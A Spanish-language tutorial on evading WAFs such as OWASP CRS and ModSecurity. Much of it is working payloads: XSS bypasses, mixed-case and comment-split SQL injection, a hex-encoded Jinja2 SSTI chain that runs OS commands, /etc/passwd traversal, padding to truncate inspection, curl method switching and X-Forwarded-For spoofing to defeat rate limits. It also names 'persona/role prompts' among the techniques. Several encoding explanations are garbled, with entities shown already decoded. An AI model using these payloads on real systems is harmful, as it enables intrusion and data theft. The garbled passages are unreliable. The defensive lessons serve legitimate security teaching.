Técnicas de bypass de WAF
Contexto: OWASP Core Rule Set (CRS) es la colección de reglas genéricas de detección para WAFs más ampliamente usada. Utiliza principalmente pattern/signature matching con pasos de…
Un WAF bypass significa descubrir un input que permite que una carga maliciosa alcance la aplicación a pesar de las protecciones del WAF. Esto ocurre cuando el WAF y el backend normalizan o parsean el input de forma distinta, o cuando el atacante usa técnicas de encoding que el WAF no contempla.
Contexto: OWASP Core Rule Set (CRS) es la colección de reglas genéricas de detección para WAFs más ampliamente usada. Utiliza principalmente pattern/signature matching con pasos de normalización. Efectivo contra payloads conocidos, pero evadible cuando hay discrepancias de parsing.
Técnica 1 — Explotar versiones desactualizadas del CRS
Bypass conocido en CRS v3.3.5 (XSS)
La versión 3.3.5 del OWASP CRS contiene un bypass para las reglas 941110 y 941160 (detección de script tags, HTML tags y event handlers). La técnica combina eval() + atob() en un anchor tag, con Unicode chars y HTML entities para evadir el matching de reglas como la 941170 (que bloquea el uso de estas funciones y el scheme JavaScript).
Payloads bloqueados por CRS:
<script>alert("xss")</script><img src=x onerror=alert("xss")>Bypass CRS v3.3.5:
<a href=ja
vascript:\u0065val(\u0061tob("YWxlcnQoInhzcyIp"))>test</a>El string Base64 YWxlcnQoInhzcyIp decodifica a alert("xss").
Componentes del bypass:

— carriage return HTML entity insertado dentro de “javascript” para romper el matching de regex:— HTML entity en lugar del literal:para evitar detección del schemejavascript:\u0065val— Unicode paraeval→\u0065=e\u0061tob— Unicode paraatob→\u0061=a
Lección: mantener el WAF actualizado es mantenimiento rutinario de seguridad, no opcional.
Técnica 2 — Explotar configuraciones débiles
Bypass de SQLi por case mismatch en regla personalizada
Ejemplo de regla mal diseñada (solo coincide exactas en mayúsculas y minúsculas):
# Rule 4002: SQL - Only blocks case sensitive SQL keywordsSecRule ARGS "@rx \b(select|union|insert|update|delete|or|and|SELECT|UNION|INSERT|UPDATE|DELETE|OR|AND|1=1|true|TRUE))\b" \ "id:4003,phase:2,t:none,deny,status:403,log,msg:'Case-sensitive SQL keywords blocked'"Esta regla no aplica transformaciones (t:none), así que solo detecta or/OR exactos. Mixed-case la evade por completo:
# Bloqueado:' or 1=1--' OR 1=1--
# Bypass (mixed-case):' oR tRue--Lección: cualquier regla con t:none y matching de palabras clave debe cubrir todas las combinaciones de case — o usar t:lowercase antes de la comparación.
Técnica 3 — Signature / Pattern Bypass
Encoding schemes
Los WAFs pueden no normalizar el input antes del pattern matching. Si el WAF hace regex sobre ASCII pero el backend decodifica antes de procesar, el encoding permite el bypass:
| Encoding | Ejemplo | Uso típico |
|---|---|---|
| URL-encoding | / → %2f |
LFI / path traversal |
| Hex-encoding | _ → \x5f |
SSTI bypass |
| Unicode-encoding | % → \u0025 |
XSS bypass |
# LFI: bypass de regla que detecta ../ en texto plano..%2f..%2f..%2fetc/passwdMixed-case
Si el WAF realiza matching case-sensitive sin normalizar:
sEleCt * fRoM users<scrIpT>aLerT(1)</scrIpT>' UniON sEleCt 1,2,3--Obfuscación con whitespace y delimitadores
Comentarios SQL como delimitadores para romper el pattern matching:
'/**/UNION/**/SELECT/**/1,2HTML/JavaScript con carriage returns:
<a/href=j
avascript:a
lert(1)>aaa</a>Bypass SSTI con hex-encoding (Jinja2)
La regla bloquea __init__, __globals__, popen, dotted attribute access. La solución: dictionary-style access + hex-encoding total, que el parser Python/Jinja2 decodifica nativamente:
# Payload bloqueado:{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
# Bypass con hex-encoding (CyberChef para generar):{{ self['\x5f\x5f\x69\x6e\x69\x74\x5f\x5f']['\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f']['\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f']['\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f']('\x6f\x73')['\x70\x6f\x70\x65\x6e']('\x69\x64')['\x72\x65\x61\x64']() }}Verificación local:
python3import jinja2jinja2.Template("{{ self['\x5f\x5f\x69\x6e\x69\x74\x5f\x5f']...['read']() }}").render()# Output: 'uid=0(root) gid=0(root) ...'Técnica 4 — Parsing & Normalization Bypass
HTML Entity Encoding
Regla vulnerable (solo busca <script> en ASCII, sin transformaciones):
SecRule ARGS:text "@contains <script>" \ "id:5003,phase:2,t:none,deny,status:403,log,msg:'ASCII script tag blocked'"Bypass: el browser decodifica a a a después de que el WAF inspeccionó:
# Decimal encoding del 'a' en "alert":<img src=x onerror=alert('XSS_Bypass')>
# Hex encoding de "alert":<svg onload=alert(1)>
# Full decimal:<body onload=alert(1)>
# Unicode escape:<img src=x onerror=\u0061lert(1)>
# Mixed encoding:<svg onload=a\u006cert(1)>Blocklist Evasion con comandos alternativos
Regla que bloquea comandos específicos via blocklist:
SecRule ARGS:cmd "@rx (?i)(cat|ls|whoami|id)" \ "id:5005,phase:2,t:none,deny,status:403,log,msg:'ASCII command blocked'"Comandos alternativos no incluidos en el blocklist:
head secret.txttail secret.txtmore secret.txttac secret.txt # cat al revés/bin/ca? secret.txt # wildcard: ? → 't'Lección: un blocklist nunca puede ser completo. Las allowlists son más seguras.
Content Truncation (Bypass por longitud)
Los WAFs frecuentemente inspeccionan solo los primeros N caracteres del input para mejorar el rendimiento. Si el payload malicioso se posiciona después del límite de inspección, la regla no lo detecta.
# Rule 5006: XSS — solo inspecciona los primeros 50 chars del comentarioSecRule ARGS:comment "@rx ^.{0,49}<script>" \ "id:5006,phase:2,t:none,deny,status:403"
# Rule 5007: SQLi — solo inspecciona los primeros 100 chars del searchSecRule ARGS:search "@rx ^.{0,99}(?:union|select|insert)" \ "id:5007,phase:2,t:none,deny,status:403"
# Rule 5008: LFI — solo inspecciona los primeros 30 chars del pathSecRule ARGS:path "@rx ^.{0,29}\.\./" \ "id:5008,phase:2,t:none,deny,status:403"Bypasses correspondientes:
# XSS: 50 A's + payload (posición 50 = fuera de rango 0-49)AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<script>alert(1)</script>
# SQLi: 100 A's + payload (posición 102 = fuera de rango 0-99)AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' union select 1,2,3,4,5--
# LFI: path legítimo de 30+ chars + traversaltemplates/././././././././././../../../etc/passwdTabla resumen de límites:
| Regla | Pattern | Inspecciona posiciones | Posición de bypass |
|---|---|---|---|
| 5006 (XSS) | ^.{0,49}<script> |
0–49 | 50+ |
| 5007 (SQLi) | ^.{0,99}(?:union|select|insert) |
0–99 | 100+ |
| 5008 (LFI) | ^.{0,29}\.\./ |
0–29 | 30+ |
Regex Logic Errors — Negative Lookahead
Regla con lógica invertida por accidente:
# Intención: bloquear cat/ls EXCEPTO si contiene "admin"# Bug: cualquiera puede añadir "admin" para bypassearSecRule ARGS:exec "@rx ^(?!.*admin).*(?:cat|ls).*$" \ "id:5012,phase:2,t:none,deny,status:403,log,msg:'Command blocked unless admin'"# Bloqueado:cat /etc/passwd
# Bypass: añadir "admin" en cualquier parte → el lookahead falla → regla no aplicacat /etc/passwd # adminLección: el negative lookahead (?!.*admin) falla cuando “admin” está presente, haciendo que toda la regla no matchee. Nunca validar privilegios por palabras clave en la cadena de comando.
Pattern Splitting con SQL Comments
La regla select.*from.*where puede romperse omitiendo keywords o reordenándolas:
# Bloqueado:select * from users where id=1
# Bypass 1: comentarios entre keywords (regex puede matchear, pero muestra la debilidad)select/**/*/**/from/**/users/**/where/**/id=1
# Bypass 2: omitir WHERE (si la app no lo requiere)select * from users
# Bypass 3: mixed-case + comentarios (combinado)' uNiOn/**/sElEcT 1,username,email,password,5 fRoM users where id==1--Parameter Manipulation — Missing Variables
Reglas que solo se activan cuando el parámetro existe:
# Rule 5013: Bloquea si 'dangerous' = "true"SecRule ARGS:dangerous "@streq true" \ "id:5013,phase:2,t:none,deny,status:403"
# Rule 5014: Bloquea valores admin específicos (case-sensitive)SecRule ARGS:admin "@rx ^(true|1|yes)$" \ "id:5014,phase:2,t:none,deny,status:403"Bypasses:
# Omitir el parámetro 'dangerous' → Rule 5013 no aplicahttp://TARGET/admin/action?admin=true
# Usar boolean alternativo (app acepta 'on', 'True', 'TRUE', pero la regex solo bloquea 'true'/'1'/'yes')http://TARGET/admin/action?admin=Truehttp://TARGET/admin/action?admin=TRUEhttp://TARGET/admin/action?admin=on
# Omitir parámetro 'token' → Rule 5016 no valida lo que no existehttp://TARGET/admin/action?admin=onTécnica 5 — Protocol Manipulation
HTTP Method Switching (POST-only filtering)
Regla que solo inspecciona POST:
SecRule REQUEST_METHOD "@streq POST" \ "id:6001,phase:2,chain,deny,status:403" SecRule ARGS "@rx \s+OR\s+"Si la aplicación acepta el mismo parámetro via GET, el payload idéntico no es inspeccionado:
# Bloqueado (POST):curl -X POST 'http://TARGET/comment/add' -d "search=test' OR 1=1--"
# Bypass (GET — misma carga útil):curl 'http://TARGET/comment/add?search=test%27%20OR%201=1--'
# Combinado con UNION SQLi + comment obfuscation:curl -i 'http://TARGET/comment/add?search=x%27%20OR%201=1%20UNION/**/SELECT%20id,username,password,email,1%20FROM%20users--'X-Forwarded-For para bypass de rate limiting
Aplicaciones que usan X-Forwarded-For como fuente de verdad para el IP del cliente sin validación permiten que el cliente falsifique su IP:
# Código vulnerable:client_ip = request.headers.get('X-Forwarded-For', request.remote_addr)if not check_rate_limit(client_ip): return jsonify({'error': 'Rate limit exceeded'}), 429# Trigger del rate limit normal (5 req/min):for i in {1..6}; do curl http://TARGET/api/posts; done# → 6ª request: 429 Rate limit exceeded
# Bypass: cada request con IP diferente via X-Forwarded-For:for i in {1..20}; do curl http://TARGET/api/posts -H "X-Forwarded-For: 192.168.1.$i"; done# → Las 20 requests tienen éxito (cada una parece un IP diferente)Usos: bypass de rate limits para extracción de datos, brute force sin throttling, evasión de bloqueos por IP.
Métodos HTTP alternativos
Los WAFs pueden no aplicar las mismas reglas a todos los métodos HTTP:
| Método | Descripción | Posible bypass |
|---|---|---|
| HEAD | Solo devuelve cabeceras | Puede tener reglas reducidas vs GET |
| OPTIONS | Devuelve métodos permitidos y CORS | Revela estructura de API |
| PUT / PATCH | REST: actualizar recursos | Validación diferente a POST |
| DELETE | REST: eliminar recursos | Frecuentemente no inspeccionado |
| TRACE | Echo de la request (generalmente deshabilitado) | Información de debugging |
# Descubrir métodos permitidos:curl -X OPTIONS 'http://TARGET/' -I# Allow: GET, OPTIONS, HEADCombinando técnicas
La mayor efectividad se obtiene combinando múltiples bypass:
1. Obfuscación de encoding → evita matches de string2. Persona/role prompts → reenmarca el objetivo del modelo3. Method switching → evita reglas method-specific4. Padding/truncación → empuja el payload fuera del rango de inspección5. Negative lookahead abuse → anula la regla por presencia de keyword permitidoConclusión
Los WAFs que dependen exclusivamente de firmas y reglas estáticas son susceptibles a evasión mediante: encoding tricks, manipulación de case, obfuscación con whitespace, truncación de contenido, inconsistencias de normalización y manipulación a nivel de protocolo. La defensa más robusta combina WAF bien configurado + código seguro + principio de least privilege + defensa en profundidad.
Ver también
- WAF Introduction — evolución, fingerprinting, arquitectura interna de reglas CRS
- LLM Security - Prompt Injection and Jailbreaking — técnicas análogas en contexto de LLM
- HTTP Request Smuggling — bypass via desincronización de parsers HTTP